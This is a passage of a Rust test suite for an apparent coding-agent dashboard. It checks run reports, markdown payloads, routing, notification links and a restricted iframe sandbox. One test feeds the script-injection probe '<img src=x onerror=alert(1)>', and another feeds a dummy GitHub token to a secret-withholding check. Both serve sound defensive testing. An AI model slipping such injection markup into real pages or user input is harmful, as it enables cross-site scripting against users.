21233        write_run(&f.runs(), id_empty, RunStatus::Merged);
21234        let path_empty = f.runs().join(id_empty).join("run.json");
21235        let mut v_empty: serde_json::Value =
21236            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21237        v_empty["judgements"] = serde_json::json!([
21238            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21239        ]);
21240        v_empty["deliberation"] = serde_json::json!([]);
21241        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21242
21243        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21244        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21245        let j_empty = res_empty.json();
21246        let judging_empty = j_empty["sections"]
21247            .as_array()
21248            .unwrap()
21249            .iter()
21250            .find(|s| s["kind"] == "judging")
21251            .expect("judging section exists");
21252        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21253    }
21254
21255    #[tokio::test]
21256    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21257        let f = Fixture::start().await;
21258
21259        let html = f.get("/").await;
21260        let css = f.get("/app.css").await;
21261        let js = f.get("/app.js").await;
21262
21263        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21264        assert!(
21265            html.headers
21266                .contains("content-type: text/html; charset=utf-8")
21267        );
21268        assert!(css.headers.contains("content-type: text/css"));
21269        assert!(js.headers.contains("content-type: text/javascript"));
21270        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
21271    }
21272
21273    #[test]
21274    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
21275        let body = |name: &str| {
21276            let at = APP_JS
21277                .find(name)
21278                .unwrap_or_else(|| panic!("{name} missing"));
21279            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21280        };
21281        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21282        let note = body("function landRoundNote");
21283        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21284        assert!(note.contains("Land round ${round}"));
21285        let land = body("function renderLand");
21286        let note_at = land
21287            .find("landRoundNote(pr)")
21288            .expect("renderLand uses the note");
21289        assert!(
21290            note_at
21291                < land
21292                    .find("roundRail(pr)")
21293                    .expect("renderLand uses the rail")
21294        );
21295    }
21296
21297    #[test]
21298    fn the_runs_page_redesign_keeps_its_guards() {
21299        let body = |name: &str| {
21300            let at = APP_JS
21301                .find(name)
21302                .unwrap_or_else(|| panic!("{name} missing"));
21303            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21304        };
21305        // A null child must never reach the native append (it prints "null").
21306        let land = body("function renderLand");
21307        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21308        assert!(
21309            !land.contains("box.append("),
21310            "renderLand must use append()"
21311        );
21312        assert!(land.contains("append(box, ["));
21313        // Tabs are hash routes; the run id alone decides a reload.
21314        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21315        assert!(
21316            body("function applyRoute")
21317                .contains("route.name !== state.route.name || route.id !== state.route.id")
21318        );
21319        // The decorative diagram is gone, the strip and its guards stay.
21320        assert!(!APP_JS.contains("adviseConvergeDiagram"));
21321        assert!(!INDEX_HTML.contains("advise-converge"));
21322        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21323        assert!(APP_JS.contains("provisional"));
21324        for id in [
21325            "run-tab-overview",
21326            "run-tab-timeline",
21327            "run-tab-report",
21328            "run-report",
21329            "runs-scope",
21330        ] {
21331            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21332        }
21333        assert!(!INDEX_HTML.contains("runs-tree"));
21334        assert!(!INDEX_HTML.contains("run-raw-panel"));
21335        // Fold still says it cannot be resumed.
21336        assert!(APP_JS.contains("resume"));
21337        // The unreadable-runs count stays on the page.
21338        assert!(APP_JS.contains("unreadable"));
21339    }
21340
21341    #[test]
21342    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21343        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21344        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21345        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
21346        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21347        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21348        // The subtitle still counts them whatever the banner does.
21349        assert!(APP_JS.contains("unreadable` : null"));
21350    }
21351
21352    #[test]
21353    fn blocked_run_detail_exposes_the_failed_gate_reason() {
21354        let mut state = RunState::new(
21355            "/repo".into(),
21356            "main".into(),
21357            "abc".into(),
21358            "task".into(),
21359            crate::config::Config::default(),
21360        );
21361        state.status = RunStatus::Blocked;
21362        state.gate_ran = true;
21363        state.gate.push(crate::run::CommandOutcome {
21364            command: "cargo make check".into(),
21365            code: Some(1),
21366            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21367            duration_ms: 0,
21368            resource_blocked: false,
21369        });
21370        let view = RunDetailView::of(
21371            state,
21372            false,
21373            crate::run::Liveness::Unknown,
21374            None,
21375            None,
21376            None,
21377        );
21378        let value = serde_json::to_value(view).unwrap();
21379        assert_eq!(
21380            value["stop_reason"],
21381            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21382        );
21383    }
21384
21385    #[test]
21386    fn the_run_detail_payload_says_whether_the_run_is_done() {
21387        // `landView` reads `run.done`; the detail response must carry it.
21388        for (status, done) in [
21389            (RunStatus::Superseded, true),
21390            (RunStatus::Blocked, true),
21391            (RunStatus::Landing, false),
21392        ] {
21393            let mut state = RunState::new(
21394                std::path::PathBuf::from("/repo"),
21395                "main".to_owned(),
21396                "abc".to_owned(),
21397                "x".to_owned(),
21398                crate::config::Config::default(),
21399            );
21400            state.status = status;
21401            let v = serde_json::to_value(RunDetailView::of(
21402                state,
21403                false,
21404                crate::run::Liveness::Unknown,
21405                None,
21406                None,
21407                None,
21408            ))
21409            .unwrap();
21410            assert_eq!(v["done"], done, "{status:?}");
21411        }
21412    }
21413
21414    /// The first node of a markdown block holds a `strong` somewhere.
21415    fn has_strong(nodes: &[md::Node]) -> bool {
21416        serde_json::to_string(nodes).unwrap().contains("strong")
21417    }
21418
21419    #[test]
21420    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21421        let mut state = RunState::new(
21422            std::path::PathBuf::from("/repo"),
21423            "main".to_owned(),
21424            "abc".to_owned(),
21425            "x".to_owned(),
21426            crate::config::Config::default(),
21427        );
21428        let proposal = |approach: &str| {
21429            serde_json::json!({
21430                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21431            })
21432        };
21433        state.advice = Some(
21434            serde_json::from_value(serde_json::json!({
21435                "records": [
21436                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21437                     "proposal": proposal("do **this**")},
21438                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21439                ],
21440                "synthesis": "- one\n- **two**\n\n`code`",
21441            }))
21442            .unwrap(),
21443        );
21444        state.candidates = serde_json::from_value(serde_json::json!([
21445            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21446             "summary": "did **it**"},
21447            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21448        ]))
21449        .unwrap();
21450        // Recorded in ascending severity, the reverse of how the page sorts
21451        // them: the arrays must follow the record, not the display.
21452        state.reviews = serde_json::from_value(serde_json::json!([{
21453            "round": 1, "head": "h",
21454            "reviews": [{
21455                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21456                "findings": [
21457                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21458                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21459                ],
21460            }],
21461            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21462            "fix": {"agent": "a", "notes": "fixed **it**",
21463                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21464        }, {"round": 2, "head": "h2", "reviews": []}]))
21465        .unwrap();
21466
21467        let v = serde_json::to_value(RunDetailView::of(
21468            state,
21469            false,
21470            crate::run::Liveness::Unknown,
21471            None,
21472            None,
21473            None,
21474        ))
21475        .unwrap();
21476
21477        let strong = |p: &str| {
21478            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21479            assert!(n.to_string().contains("strong"), "{p}: {n}");
21480        };
21481        strong("/advice_md/synthesis");
21482        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21483        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21484        strong("/advice_md/approaches/0");
21485        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21486        strong("/candidate_summaries_md/0");
21487        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21488        strong("/reviews_md/0/reviewers/0/summary");
21489        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21490        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21491        assert!(f[1].to_string().contains("strong"));
21492        strong("/reviews_md/0/reconsideration/0");
21493        strong("/reviews_md/0/fix/notes");
21494        strong("/reviews_md/0/fix/rejected/0");
21495        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21496        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21497        // The raw strings stay, and no schema moved.
21498        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21499        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21500    }
21501
21502    #[test]
21503    fn a_run_without_advice_has_no_advice_md() {
21504        let state = RunState::new(
21505            std::path::PathBuf::from("/repo"),
21506            "main".to_owned(),
21507            "abc".to_owned(),
21508            "x".to_owned(),
21509            crate::config::Config::default(),
21510        );
21511        let p = run_prose_md(&state);
21512        assert!(p.advice_md.is_none());
21513        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21514    }
21515
21516    #[test]
21517    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21518        let store = ask::Questions::at(PathBuf::from("unused"));
21519        let gt = crate::github_text::Withheld {
21520            title: false,
21521            body: true,
21522            categories: vec!["sensitive-data".into()],
21523        };
21524        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21525        let (detail, comparison) =
21526            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21527        let mut q = Question::new(
21528            "r".into(),
21529            "github-text".into(),
21530            "posting-gate".into(),
21531            "s".into(),
21532            detail,
21533            Vec::new(),
21534        );
21535        assert!(
21536            QuestionView::of(q.clone(), &store, None)
21537                .posting_view
21538                .is_none()
21539        );
21540        q.posting_comparison = Some(comparison);
21541        let view = QuestionView::of(q.clone(), &store, None);
21542        let field = &view.posting_view.unwrap().fields[0];
21543        assert_eq!(
21544            field
21545                .original
21546                .iter()
21547                .map(|f| f.text.as_str())
21548                .collect::<String>(),
21549            body
21550        );
21551        assert!(field.original[0].text.starts_with("<img"));
21552        let original_question: Question =
21553            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21554        assert_eq!(original_question, q);
21555        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21556            .original
21557            .start = 1;
21558        assert!(
21559            QuestionView::of(q.clone(), &store, None)
21560                .posting_view
21561                .is_none()
21562        );
21563        q.posting_comparison = original_question.posting_comparison;
21564        q.detail.push_str("extra context");
21565        assert!(
21566            QuestionView::of(q.clone(), &store, None)
21567                .posting_view
21568                .is_some()
21569        );
21570        q.detail.insert(0, 'x');
21571        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21572    }
21573
21574    #[test]
21575    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21576        let store = ask::Questions::at(PathBuf::from("unused"));
21577        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21578        let gt = crate::github_text::Withheld::from_check(
21579            &crate::github_text::check("fix: x", body),
21580            "fix: x",
21581            body,
21582        )
21583        .unwrap();
21584        let (detail, comparison) =
21585            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21586        let mut q = Question::new(
21587            "r".into(),
21588            "github-text".into(),
21589            "posting-gate".into(),
21590            "s".into(),
21591            detail,
21592            Vec::new(),
21593        );
21594        q.posting_comparison = Some(comparison);
21595        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21596        let field = &value["posting_view"]["fields"][0];
21597        let group = &field["replacement_group"];
21598        let triggers = group["triggers"].as_array().unwrap();
21599        assert_eq!(triggers.len(), 2);
21600        assert_ne!(triggers[0], triggers[1]);
21601        for id in triggers {
21602            assert!(
21603                field["original"]
21604                    .as_array()
21605                    .unwrap()
21606                    .iter()
21607                    .any(|f| &f["pair"] == id)
21608            );
21609            assert!(
21610                !field["changed"]
21611                    .as_array()
21612                    .unwrap()
21613                    .iter()
21614                    .any(|f| &f["pair"] == id)
21615            );
21616        }
21617        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21618            group["id"].as_u64().unwrap() as usize;
21619        assert!(
21620            QuestionView::of(q, &store, None).posting_view.is_none(),
21621            "group and trigger IDs cannot collide"
21622        );
21623    }
21624
21625    #[test]
21626    fn a_question_view_carries_markdown_for_each_thread_turn() {
21627        let home = TempDir::new().unwrap();
21628        let store = ask::Questions::at(home.path().join("questions"));
21629        let mut q = Question::new(
21630            "run".to_owned(),
21631            "implement".to_owned(),
21632            "impl-A".to_owned(),
21633            "which?".to_owned(),
21634            String::new(),
21635            Vec::new(),
21636        );
21637        q.say("plain words").unwrap();
21638        q.reply("use **this**", Vec::new()).unwrap();
21639        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21640        let bodies = &v["thread_bodies_md"];
21641        assert_eq!(bodies.as_array().unwrap().len(), 2);
21642        assert!(!bodies[0].to_string().contains("strong"));
21643        assert!(bodies[1].to_string().contains("strong"));
21644    }
21645
21646    #[test]
21647    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21648        let home = TempDir::new().unwrap();
21649        let store = ask::Questions::at(home.path().join("questions"));
21650        let mut q = Question::new(
21651            "run".to_owned(),
21652            "conduct".to_owned(),
21653            "conduct".to_owned(),
21654            "which?".to_owned(),
21655            String::new(),
21656            Vec::new(),
21657        );
21658        q.say("plain words").unwrap();
21659        q.thread.push(ask::Turn {
21660            who: ask::Who::Agent,
21661            body: "Settled as `merge`".to_owned(),
21662            at: jiff::Timestamp::now(),
21663            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21664        });
21665        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21666        let notes = &v["thread_notes_md"];
21667        assert_eq!(notes.as_array().unwrap().len(), 2);
21668        assert!(notes[0].is_null());
21669        let text = notes[1].to_string();
21670        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21671        assert!(APP_JS.contains("ask-turn-note"));
21672    }
21673
21674    #[test]
21675    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21676        // The land panel defers to `run.status` for merged, and labels a
21677        // recorded-open PR on any finished run (superseded, blocked, ...) as
21678        // last seen, never as live state.
21679        assert!(APP_JS.contains("function landView(run, raw) {"));
21680        assert!(
21681            APP_JS.contains(
21682                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21683            )
21684        );
21685        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21686        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21687        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21688        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21689    }
21690
21691    #[test]
21692    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21693        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21694        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21695        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21696        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21697    }
21698
21699    #[test]
21700    fn review_rounds_label_a_distinct_verified_head() {
21701        assert!(APP_JS.contains("round.verified_head"));
21702        assert!(APP_JS.contains("verified HEAD"));
21703        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21704    }
21705
21706    #[test]
21707    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21708        // A blocked task's chip and note must not fall back to a queued-like
21709        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21710        // itself by e11fc58 but never checked here.
21711        assert!(APP_JS.contains("blocked: { glyph:"));
21712        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21713
21714        // `blocked_by` mixes task ids and question ids in the same list, and
21715        // the client can only tell them apart by checking each id against
21716        // what it actually knows - never by guessing from the id's shape.
21717        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21718        assert!(
21719            APP_JS.contains(
21720                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21721            ),
21722            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21723        );
21724        // The classification must key off `status_str`, never off `blocked_by`
21725        // or `block_reason` merely being present - both can survive briefly
21726        // on a task a hold or a dead daemon just moved off `blocked`.
21727        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21728
21729        // A question a task is blocked on gets its own node in the same
21730        // dependency graph, not just a task-shaped node with nothing known
21731        // about it.
21732        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21733        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21734        assert!(
21735            APP_JS.contains("location.hash = \"#/questions\";"),
21736            "a question node must jump to the Questions screen, not pretend to be a task"
21737        );
21738
21739        // `Task::answers` - decisions already made - are shown as a record on
21740        // the card, the same disclosure style as the full instruction.
21741        assert!(APP_JS.contains("Resolved questions"));
21742        assert!(APP_JS.contains("r.answersList.append("));
21743        assert!(APP_CSS.contains(".task-answers"));
21744        {
21745            let start = APP_JS
21746                .find("function updateTalkTaskRow")
21747                .expect("updateTalkTaskRow");
21748            let body = &APP_JS[start..];
21749            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21750            assert!(
21751                body.contains(
21752                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21753                ),
21754                "a chat-filed task row must link to the task page"
21755            );
21756            assert!(
21757                !body.contains("#/runs/") && !body.contains("#/queue/"),
21758                "the row must not branch to a run or the queue card"
21759            );
21760            assert!(APP_CSS.contains(".talk-task-link"));
21761        }
21762    }
21763
21764    #[test]
21765    fn a_task_notification_links_to_the_task_page() {
21766        // A task notice opens the task detail page, not the Backlog card.
21767        let start = APP_JS
21768            .find("function noticeLink(")
21769            .expect("noticeLink exists");
21770        let body = &APP_JS[start..];
21771        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21772        assert!(
21773            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21774            "a task notice's link must target the task page"
21775        );
21776        assert!(
21777            !body.contains("#/queue/"),
21778            "regression: the task link must not go back to the Backlog route"
21779        );
21780        assert!(
21781            APP_JS.contains(
21782                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21783            ),
21784            "`#/tasks/<id>` must parse into the task route"
21785        );
21786
21787        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21788        assert!(
21789            APP_JS.contains(
21790                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21791            ),
21792            "`#/queue/<id>` must parse into a route carrying that id"
21793        );
21794
21795        // And the Backlog view has to actually land on the card once it can
21796        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21797        // so a focus set before the queue has loaded is retried once it has.
21798        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21799        assert!(APP_JS.contains("function consumeQueueFocus()"));
21800        assert!(APP_JS.contains("jumpToTask(id)"));
21801    }
21802
21803    #[test]
21804    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21805        let start = APP_JS
21806            .find("function noticeCoveredBy(")
21807            .expect("noticeCoveredBy exists");
21808        let body = &APP_JS[start..];
21809        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21810
21811        // Historical associations are informational, even for open questions.
21812        assert!(body.contains("Associated question ${short}"));
21813        assert!(!body.contains("el(\"a\""));
21814
21815        // A resolved question displays status rather than an actionable link
21816        assert!(body.contains("(resolved)"));
21817        assert!(body.contains("(closed)"));
21818
21819        let start = APP_JS
21820            .find("function renderNotifications()")
21821            .expect("renderNotifications exists");
21822        let body = &APP_JS[start..];
21823        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21824
21825        // Only a server-resolved answerable question supplies a response link.
21826        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21827        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21828        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21829        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21830    }
21831
21832    /// Chat rows are two lines at every width: the title alone, then the
21833    /// shrinkable secondary info.
21834    #[test]
21835    fn chat_rows_put_the_title_alone_on_the_first_line() {
21836        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21837        assert!(APP_CSS.contains(
21838            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21839        ));
21840        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21841        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21842    }
21843
21844    #[test]
21845    fn run_rows_put_the_title_alone_on_the_first_line() {
21846        assert!(
21847            APP_CSS.contains(
21848                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21849            )
21850        );
21851        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21852        assert!(APP_JS.contains("class: \"card run-card\""));
21853        assert!(APP_JS.contains("class: \"repo run-id\""));
21854    }
21855
21856    /// Wide screens get a master/detail layout built from the views a phone
21857    /// drills into. These are string assertions: they pin the contract between
21858    /// the three assets, not how it looks.
21859    #[test]
21860    fn wide_screens_show_list_and_preview_side_by_side() {
21861        // One breakpoint, spelled the same in the script and the stylesheet.
21862        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21863        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21864        assert!(APP_CSS.contains("main[data-split]"));
21865        assert!(APP_CSS.contains("body[data-split]"));
21866
21867        // The route -> panes table, and a narrow screen opting out of it.
21868        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21869        assert!(
21870            APP_JS.contains(
21871                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21872            )
21873        );
21874        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21875        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21876        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21877
21878        // Selection is derived from the route, and only ever paints a row.
21879        assert!(APP_JS.contains("function markSelected() {"));
21880        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21881        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21882        // The dense row must override the stacked card the 720px block sets up.
21883        assert!(
21884            APP_CSS.contains(
21885                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21886            )
21887        );
21888
21889        // Independent scrolling: the page stops scrolling, each pane does.
21890        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21891        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21892        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21893        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21894
21895        // A refresh must never navigate: the loaders still check that their
21896        // subject is the one on screen, and crossing the breakpoint only
21897        // re-reads the hash.
21898        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21899        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21900        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21901        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21902
21903        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21904        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21905    }
21906
21907    #[test]
21908    fn panel_sandbox_carries_exactly_popups() {
21909        let needle = "sandbox: \"";
21910        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21911        assert_eq!(
21912            matches.len(),
21913            1,
21914            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21915        );
21916        let start = matches[0].0 + needle.len();
21917        let end = APP_JS[start..]
21918            .find('"')
21919            .expect("sandbox attribute value must be terminated by a closing quote");
21920        let val = &APP_JS[start..start + end];
21921        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21922        let expected: std::collections::BTreeSet<&str> =
21923            ["allow-popups", "allow-popups-to-escape-sandbox"]
21924                .into_iter()
21925                .collect();
21926        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21927        assert!(
21928            !tokens.contains("allow-scripts"),
21929            "allow-scripts must never be present in sandbox"
21930        );
21931        assert!(
21932            !tokens.contains("allow-same-origin"),
21933            "allow-same-origin must never be present in sandbox"
21934        );
21935    }
21936
21937    #[test]
21938    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21939        // consumeQueueFocus() clears an active Backlog search before it can
21940        // scroll to the target card (the sections list is hidden while a
21941        // search is showing), by recursing back into renderQueue(). The
21942        // fixer's first cut nulled state.queueFocus before that recursive
21943        // call, so the second pass saw nothing to jump to and the jump was
21944        // silently dropped whenever a notification's link was opened with a
21945        // stale search still active. state.queueFocus must only be cleared
21946        // right before jumpToTask() actually runs.
21947        assert!(
21948            APP_JS.contains(
21949                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21950            ),
21951            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21952             recursive renderQueue() call has nothing left to jump to"
21953        );
21954        assert!(
21955            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21956            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21957             arrives later still gets it"
21958        );
21959        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21960        assert!(APP_JS.contains("is not in the current Backlog."));
21961        assert!(APP_JS.contains("li.card[data-task-id=\""));
21962        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21963        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21964        assert!(APP_CSS.contains(".card-permalink"));
21965        assert!(APP_CSS.contains(".queue-focus-status"));
21966        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21967    }
21968
21969    #[test]
21970    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21971        // The task's own repro: only the link text inside .notice-meta was
21972        // clickable, so a tap on the message, the timestamp, or the card's
21973        // padding did nothing - on a phone that reads as "the card doesn't
21974        // work" even though the tiny link inside it did. Mark read / Dismiss
21975        // must keep working independently of this: `.closest("a, button")`
21976        // is what lets a tap that actually lands on those elements fall
21977        // through instead of being hijacked into a navigation.
21978        assert!(
21979            APP_JS.contains(
21980                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21981            ),
21982            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21983        );
21984    }
21985
21986    #[test]
21987    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21988        assert!(
21989            APP_JS.contains("round.verified_head !== round.head"),
21990            "a round that verified an earlier commit must be visibly distinct from one that \
21991             verified the head reviewers are looking at now"
21992        );
21993        assert!(
21994            APP_JS.contains("round.verified_at"),
21995            "when a check ran must be on the wire, not just which commit"
21996        );
21997        assert!(
21998            APP_JS.contains("resource_blocked"),
21999            "a command magi never got to run (shared build cache contention) must not render \
22000             the same as a command that ran and failed"
22001        );
22002    }
22003
22004    #[test]
22005    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22006        // Every KPI tile but Total runs and Completion names an exact
22007        // RunStatus and hands it to openRunsFiltered(), which is what wires
22008        // the click into state.runsFilter.status (matchesFilter's own
22009        // status check) rather than the coarser runsStateFilter chips. Each
22010        // status literal here must be one of the strings runSection() (and
22011        // isStale()) actually compare a run's own `status` field against -
22012        // a status this dashboard invented would filter to nothing.
22013        assert!(
22014            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22015            "every KPI tile built through statusTile() must route its click through \
22016             openRunsFiltered, the single place that sets the Runs filter"
22017        );
22018        for (label, status) in [
22019            ("Merged", "merged"),
22020            ("Ready", "ready"),
22021            ("Blocked", "blocked"),
22022            ("Stalled", "stalled"),
22023        ] {
22024            let call = format!("statusTile(\"{label}\", t.{status}, ");
22025            assert!(
22026                APP_JS.contains(&call),
22027                "expected the {label} KPI tile built via {call}..."
22028            );
22029            assert!(
22030                APP_JS.contains(&format!("status === \"{status}\"")),
22031                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22032                 compare a run against, not one invented only for the stats tile"
22033            );
22034        }
22035        assert!(
22036            APP_JS.contains("function openRunsFiltered(status)"),
22037            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22038        );
22039        assert!(
